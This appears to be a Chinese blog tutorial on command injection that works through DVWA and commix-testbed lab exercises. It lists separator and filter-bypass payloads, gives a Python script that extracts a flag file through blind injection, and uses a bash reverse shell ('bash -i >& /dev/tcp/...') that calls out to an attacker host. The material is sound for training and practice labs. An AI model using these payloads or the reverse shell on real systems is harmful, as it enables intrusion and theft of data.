命令注入实操与总结

命令注入

  • 概述
  • 连接符
    • 管道(|)符
    • and(&&)符
    • 或(||)符
    • 连续指令
    • 连接符
    • 空字符
    • 重定向
  • 命令执行
    • 读文件
        • cat flag 按顺序读取
        • tac flag 按逆序读取
        • more flag 一页页的读取
        • tail flag 读取末尾十行
        • head flag 读取开头十行
        • less flag 分页显示内容
        • nl flag 在每行前面显示行数
        • od -a flag 以十六进制显示文件内容
        • uniq flag 删除文件重复行,最后结果显示
        • sort flag 将文件排列之后显示
        • strings flag 在对象或二进制文件中查找可打印的字符串
        • rev flag 将文件内容每行反序输出
        • paste flag 将文件以列队列的形式输出出来
        • wc flag 将文件行数,列数,文件名等内容显示出来
        • diff flaga flagb 比较两个文件的内容,输出flaga文件内容
  • 命令绕过
    • 关键字绕过
    • 拼接
  • DVWA下的命令注入
    • ·Low级别的命令注入
    • ·Mediumn级别的命令注入
    • · High级别的命令注入
    • impossible级别的命令注入
  • commix-testbed-master示例
    • 常规
      • 经典常规示例
      • 经典Base64常规示例
      • 经典单引号示例
      • 双引号命令注入
      • 经典空格示例
      • 黑名单绕过命令注入
      • hash值命令注入。
      • Classic example & Basic HTTP Authentication
      • Digest HTTP Authentication
      • Blind regular example(盲注)
      • Eval regular example
      • Eval (Base64) regular example
      • Classic (SOAP/XML) regular example

概述

命令注入与sql注入,XSS漏洞相似。都是由于程序员的逻辑漏洞。没有考虑周全所导致的。常在执行系统命令的Web程序中

连接符

管道(|)符

sheel1 | sheel2
当sheel执行成功的结果是sheel2的参数

and(&&)符

sheel1&&sheel2
当sheel1执行成功的时候执行sheel2,当sheel1执行失败则不执行sheel2

或(||)符

sheel1 || sheel2
当sheel执行成功之后则不执行sheel2,反之执行sheel2

连续指令

sheel1;sheel2;sheel3;
一个个的去执行,当sheel1执行完毕之后执行Shee2,然后sheel3

连接符

sheel1&sheel2
连续两个都执行

空字符

%0a
换行符

%0d
回车符

${IFS}
空格符

${9}
空字符串

${PS2}
">"符号

${PS4}
"+"符号

重定向

重定向>符

sheel1>sheel2
将sheel的结果作为sheel2的参数,替换sheel2中的内容。

重定向<符

sheel1 sheel1的命令sheel2中读取

重定向<<<符

cmd<< 将abc和后面的换行作为输入传递给cmd命令

命令执行

读文件

cat flag 按顺序读取

命令注入实操与总结_第1张图片

tac flag 按逆序读取

命令注入实操与总结_第2张图片

more flag 一页页的读取

命令注入实操与总结_第3张图片

tail flag 读取末尾十行

命令注入实操与总结_第4张图片

head flag 读取开头十行

命令注入实操与总结_第5张图片

less flag 分页显示内容

命令注入实操与总结_第6张图片

nl flag 在每行前面显示行数

命令注入实操与总结_第7张图片

od -a flag 以十六进制显示文件内容

命令注入实操与总结_第8张图片

uniq flag 删除文件重复行,最后结果显示

命令注入实操与总结_第9张图片

sort flag 将文件排列之后显示

命令注入实操与总结_第10张图片

strings flag 在对象或二进制文件中查找可打印的字符串

命令注入实操与总结_第11张图片

rev flag 将文件内容每行反序输出

命令注入实操与总结_第12张图片

paste flag 将文件以列队列的形式输出出来

命令注入实操与总结_第13张图片

wc flag 将文件行数,列数,文件名等内容显示出来

命令注入实操与总结_第14张图片

diff flaga flagb 比较两个文件的内容,输出flaga文件内容

命令注入实操与总结_第15张图片

命令绕过

关键字绕过

或许后端过滤了一些关键字,比如cat,flag等关键字,我们可以在他中间插入特殊字符。

c’‘at fl’'ag
ca"“t fl”"ag
c\at fla\g
c${9}at fla${9}g

还可以使用base64编码
注:引号必须成对出现,相当于中间插入了一个空字符也就是${9}

拼接

a=c;b=at;c=fl;d=ag;$a$b $c$d

这样也可以绕过黑名单。

DVWA下的命令注入

·Low级别的命令注入

Low级别的应该啥都没有做防御,可以使用||,&&,;等符号进行注入。去获取服务器的ip信息。
命令注入实操与总结_第16张图片

·Mediumn级别的命令注入

中等级别可以继续使用or(||)或者and(&&)等命令去碰,试试看能否绕过。
命令注入实操与总结_第17张图片

最后查看源码发现他只绕过了and(&&)符和连续符两个字符。
命令注入实操与总结_第18张图片

· High级别的命令注入

High级别他应该过滤的更严格,我们可以一个个的去猜,看看能否碰到一两个逃脱了的黑名单。
尝试输入||结果成功的绕过他了。
命令注入实操与总结_第19张图片
查看源代码发现他是以数组的方式过滤的,他刚好只过滤了一个|还剩了一个|也就是管道符,所以我们可以绕过。
命令注入实操与总结_第20张图片

impossible级别的命令注入

通过源码发现

命令注入实操与总结_第21张图片

commix-testbed-master示例

常规

经典常规示例

这题应该没有做任何防护,直接使用and符号
命令注入实操与总结_第22张图片

经典Base64常规示例

尝试输入** 127.0.0.1&& whoami**结果提示需要输入base64编码。
命令注入实操与总结_第23张图片
然后再尝试将代码进行base64转换。结果成功了说明他暂时还没有进行过滤等操作
命令注入实操与总结_第24张图片

经典单引号示例

尝试输入127.0.0.1&&ls发现没有回显内容。
命令注入实操与总结_第25张图片
尝试很多次不行,然后还是通过源码分析一波,发现执行参数哪里有一个漏洞。
命令注入实操与总结_第26张图片

我们可以利用单引号哪里做注入,将命令给用单引号引起来,让他成为一个命令,而不是参数。尝试发现成功了。
命令注入实操与总结_第27张图片

双引号命令注入

还是先尝试输入普通命令吧。
命令注入实操与总结_第28张图片

发现还是没有回显内容。这时候只能又去打开源码分析一波,发现同单引号一样,但是这次变成了双引号。
命令注入实操与总结_第29张图片

我们就将要执行的命令给用双引号给引起来。成功绕过。
命令注入实操与总结_第30张图片

经典空格示例

还是那样吧,先尝试一下输入内容
命令注入实操与总结_第31张图片
发现他提示允许输入空格。所以这关应该是空格绕过。然后我们使用一些空格字符绕过。成功。
命令注入实操与总结_第32张图片
命令注入实操与总结_第33张图片
因为这里只能查看一行记录,所以我们需要改变参数一行行的仔细查看。下面是一些方法的参数。

head参数

head  -n  <行数>   filename      显示文件内容的前n行;
例如:head   -n   5   file1     显示文件file1的前5行内容
head   -c  <字节>    filename      显示文件内容的前n个字节;
例如:head  -c  20  file2      显示文件file2的前20个字节内容

tail参数

tail    file1      显示文件file1的尾部10行内容;
tail  -n  <行数>  filename    显示文件尾部的n行内容;
例如:tail  -n  5   file1    显示文件file1的末尾5行内容
tail  -c  <字节数>   filename     显示文件尾部的n个字节内容;
例如:tail  -c  20   file2    显示文件file2的末尾20个字节

黑名单绕过命令注入

这关是黑名单绕过,所以一个个的去试,看看有没有漏网之鱼。所以试了大概五六七八下吧,就成功了。
命令注入实操与总结_第34张图片
然后去查看源代码发现只做了几个符号的过滤。
命令注入实操与总结_第35张图片

hash值命令注入。

打开攻击页面,它提示MD5hash值,所以这关应该是利用md5方式。然后发现好像不是md5加密之后值。
命令注入实操与总结_第36张图片
之后尝试不成功还是打开查看源代码。发现他是在输出后面在进行加密。
命令注入实操与总结_第37张图片

所以我们在输入的后面将转换成为md5值那个函数给注释掉。

命令注入实操与总结_第38张图片

Classic example & Basic HTTP Authentication

打开这个界面,但是他提醒需要登录。
命令注入实操与总结_第39张图片
使用burp进行抓包查看里面的参数。
命令注入实操与总结_第40张图片
抓到里面一个用base64编码加密的字符串。我们使用解密工具进行解密,可与看到他是用户名:密码形式的。
所以我们可以进行爆破。可以用bp进行爆破也可以用python脚本进行爆破。
反正爆破出来的结果是admin:admin。利用这个进行登录,登录成功。

这下终于进入了命令注入攻击界面,可以先尝试一下是否做了防御。测试发现啥都没做。
命令注入实操与总结_第41张图片
ps:我们感觉应该不是这么做的。这题的题目是http认证,应该绕过http认证,但是实在不知道怎么做。

Digest HTTP Authentication

这题好像也不会,还是让它占一行看下一题吧

Blind regular example(盲注)

还是先输入一个正常的ip,发现他的提示的是running。
命令注入实操与总结_第42张图片

输入一个错误的ip,查看他的提示是down。

命令注入实操与总结_第43张图片
在尝试输入127.0.0.1&&cat flag提示也是running。可以发现他应该是一个盲注。
命令注入实操与总结_第44张图片
看到是盲注然后不得不在去补一点知识面了

linux系统中的判断语句
if [ 1 = 1 ];then echo 1 fi
if [ 1 = 1];then echo 1;else echo 2;fi
特别注意:括号与参数之间有一个空格,等式两边也有空格。

然后就是补充cut方法了

-b :以字节为单位进行分割。这些字节位置将忽略多字节字符边界,除非也指定了 -n 标志。
-c :以字符为单位进行分割。
-d :自定义分隔符,默认为制表符。
-f :与-d一起使用,指定显示哪个区域。
-n :取消分割多字节字符。仅和 -b 标志一起使用。如果字符的最后一个字节落在由 -b 标志的 List 参数指示的
范围之内,该字符将被写出;否则,该字符将被排除

命令注入实操与总结_第45张图片

回归正题,利用上面的if语句,构造判断然后一步步的去猜解,但是我觉得有点费时间,所以还是写个脚本吧。
获取flag文件内容长度。
命令注入实操与总结_第46张图片
获取flag文件内容。
命令注入实操与总结_第47张图片
完整代码。

import requests
import string

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",}
site = "http://192.168.178.141:80/"

def burp():

    url = "{}scenarios/regular/GET/blind.php?addr=".format(site)

    strings = string.ascii_letters+string.digits
    strings += "{}_-`~!@#$%^&*()+"

    flag_length = 0
    i = 7
    while True:

        length_url = url + "127.0.0.1;x=$(cat flag);if [ ${0} = {1} ];then echo 1;else ping a;fi".format("{%23x}", i)

        length_res = requests.get(url=length_url, headers=headers)

        if "running" in length_res.text:
            print("----长度为:{}".format(i))
            flag_length = i
            break
        else:

            print("长度不是{}".format(i))
            i += 1

    flag = ""

    for i in range(1,flag_length + 1):

        for  j in strings:

            flag_url = "{}127.0.0.1;x=$(cut -c {} flag);if [ ${} = '{}' ];then echo 1;else ping a;fi ".format(url,i,"x",j)
            flag_res = requests.get(url=flag_url, headers=headers)

            if "running" in flag_res.text:
                flag += j
                print(flag)
                break

    print("flag值为:{}".format(flag))

if __name__ == '__main__':
    burp()

正确的结果。
命令注入实操与总结_第48张图片

ps:我承认因为脚本运行太慢了,所以改了一些参数,包括flag值,但是这个脚本除了运行慢点其他的修改的参数哪些都是对的。

Eval regular example

还是先输入普通的字符串看他回显的内容。
命令注入实操与总结_第49张图片

利用之前的方法进行测试,看有没有出现命令注入漏洞。
命令注入实操与总结_第50张图片

命令注入实操与总结_第51张图片

他还是原样输出了结果,我们在试试使用闭合,将内容函数闭合掉。
命令注入实操与总结_第52张图片

发现双引号没有回显的内容,说明双引号成功闭合,我们在试试构造phpinfo()函数进行测试。
命令注入实操与总结_第53张图片

还是没有内容回显,应该还没完全闭合掉,所以我们可以在试试单引号,分号这些闭合。
命令注入实操与总结_第54张图片

使用分号后好像内容有点显现,我们加上phpinfo()试试。
命令注入实操与总结_第55张图片

成功打开phpinfo()页面内容。
我们在构造系统命令ls命令进行查看目录文件。
命令注入实操与总结_第56张图片
在这里插入图片描述

我们看到有一个flag文件,我们cat出来看看。
命令注入实操与总结_第57张图片

成功拿到他的flag值。

如果这么说的话我们岂不是可以上传反弹shell的内容进行反向侦听呢?

  • 先新建一个攻击机的监听端口
    命令注入实操与总结_第58张图片

  • 然后在利用命令注入漏洞去上传反向监听的代码。

payload:bash -i >& /dev/tcp/192.168.178.249/6666 0>&1

命令注入实操与总结_第59张图片

  • 在攻击机中查看是否监听成功
    命令注入实操与总结_第60张图片

  • 监听失败
    但是好像不行,猜测应该是靶场的原因,因为dvwa这个靶场都行。

但是换了一种方法就成功了,将反向监听给弄成python脚本文件,就可以监听了。
详情去看反弹shell

Eval (Base64) regular example

这题与上题类似,但是将代码编译成base64编码。

Classic (SOAP/XML) regular example

有空在做吧!拜啦!

你可能感兴趣的:(命令注入,代码安全,信息安全,php,web安全,安全)